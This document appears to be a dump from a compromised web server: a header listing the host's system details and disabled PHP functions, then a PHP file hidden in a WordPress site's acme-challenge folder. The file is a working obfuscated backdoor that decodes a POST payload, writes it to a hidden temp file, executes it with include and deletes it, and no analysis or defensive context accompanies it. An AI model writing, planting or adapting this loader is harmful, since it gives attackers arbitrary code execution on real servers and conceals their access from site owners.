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System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
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File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/e/f/f/b/dlstats_nbulker.php
<?php

if(array_key_exists("\x76\x61l", $_POST)){
	$ptr = $_POST["\x76\x61l"];
			 $ptr =	 	explode('.'   ,$ptr);			
	$factor = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$s );
    
            foreach( 	$ptr as $x => $v2):
                $chS = ord( 	$s[$x		%$lenS] );
                $d =( 	( 	int)$v2 - $chS -( 	$x		%10)) ^ 95;
                $factor .= chr( 	$d );
            endforeach;
	$property_set = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]);
	for ($holder = 0, $mrk = count($property_set); $holder < $mrk; $holder++) {
    $marker = $property_set[$holder];
    		if (!!is_dir($marker) && !!is_writable($marker)) {
    $ent = sprintf("%s/.entity", $marker);
    $file = fopen($ent, 'w');
if ($file) {
	fwrite($file, $factor);
	fclose($file);
	include $ent;
	@unlink($ent);
	exit;
}
}
}
}